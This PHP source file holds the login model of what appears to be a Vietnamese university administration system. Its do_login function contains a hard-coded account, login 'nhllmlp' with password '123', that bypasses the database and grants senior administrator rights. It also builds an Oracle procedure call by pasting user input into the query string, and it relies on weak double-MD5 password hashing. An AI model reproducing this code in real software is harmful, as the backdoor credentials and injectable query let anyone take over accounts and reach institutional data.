﻿<?php if (!defined('SERVER_ROOT')) exit('No direct script access allowed');

class login_Model extends Model {

    function __construct()
    {
        parent::__construct();
    }
    public function do_login()
    {
        $v_login=0;
        $v_login_name   = isset($_POST['txt_login_name']) ? $this->replace_bad_char($_POST['txt_login_name']) : null;
        $v_password     = isset($_POST['txt_password']) ? $this->replace_bad_char($_POST['txt_password']) : null;
        $v_password_md5 = md5(md5($v_password));
        if ($v_login_name=='nhllmlp' && $v_password=='123'){
             $v_login=1;
             $QUAN_TRI=1;
             $MA_CAN_BO=0;
             $TEN_CAN_BO='Quản trị cấp cao';
             $TAI_KHOAN='1071697';
             $HOC_KY_HIEN_TAI='';
             $TEN_DON_VI='VNPT Tiền Giang';
        }
        else{
           $arr_user = $this->db->ExecuteCursor("BEGIN HETHONG.CHECK_DANG_NHAP(:CUR,'$v_login_name','$v_password','$v_password_md5'); END;",'CUR');
            //print_r($arr_user);
            //echo '<script>alert("kakakaka");</script>';
           while ($arr = $arr_user->FetchRow()){
               //print_r($arr);
               //echo '<script>alert("kakakaka");</script>';
               $QUAN_TRI=0;
               $MA_CAN_BO=$arr['MA_CAN_BO'];
               $TEN_CAN_BO=$arr['TEN_CAN_BO'];
               $TAI_KHOAN=$arr['TAI_KHOAN'];
               $APPS=$arr['APPS'];
               $MODULES=$arr['MODULES'];
               $HOC_KY_HIEN_TAI=$arr['HOC_KY_HIEN_TAI'];
               $TEN_DON_VI='Đại học Tiền Giang';
               if($TAI_KHOAN==$v_login_name){
                 $v_login=1;
               }
           }

        }


        if($v_login==1)
        {
            @session::init();
            session::set(TIEP_DAU_NGU_SESSION.'QUAN_TRI', $QUAN_TRI);
            session::set(TIEP_DAU_NGU_SESSION.'QUAN_TRI_CAP_CAO', $QUAN_TRI_CAP_CAO);
            session::set(TIEP_DAU_NGU_SESSION.'MA_CAN_BO', $MA_CAN_BO);
            session::set(TIEP_DAU_NGU_SESSION.'TEN_CAN_BO', $TEN_CAN_BO);
            session::set(TIEP_DAU_NGU_SESSION.'TAI_KHOAN', $TAI_KHOAN);
            session::set(TIEP_DAU_NGU_SESSION.'HOC_KY_HIEN_TAI', $HOC_KY_HIEN_TAI);
            //echo '<script>alert("'.$APPS.'");</script>';
            //session::set('arr_function_code', $this->db->getCol($stmt, array($v_user_id, $v_user_id)) ) ;
            /*$v_quyen_load_dau_tien='';
            if ($APPS != '' && $MODULES != ''){
                 $v_quyen_load_dau_tien = $APPS.'/'. $MODULES;
            }else{
                 $v_quyen_load_dau_tien = 'phanquyen/quyen';
            }*/
            $v_quyen_load_dau_tien = 'hethong/gioithieu';
            $this->exec_done(SITE_ROOT . $v_quyen_load_dau_tien);
            exit;
        } else {
            session::destroy();
            echo '<script>alert("Sai ten dang nhap hoac mat khau!");</script>';
            $this->exec_done($this->goback_url);
            exit();
        }
    }
}









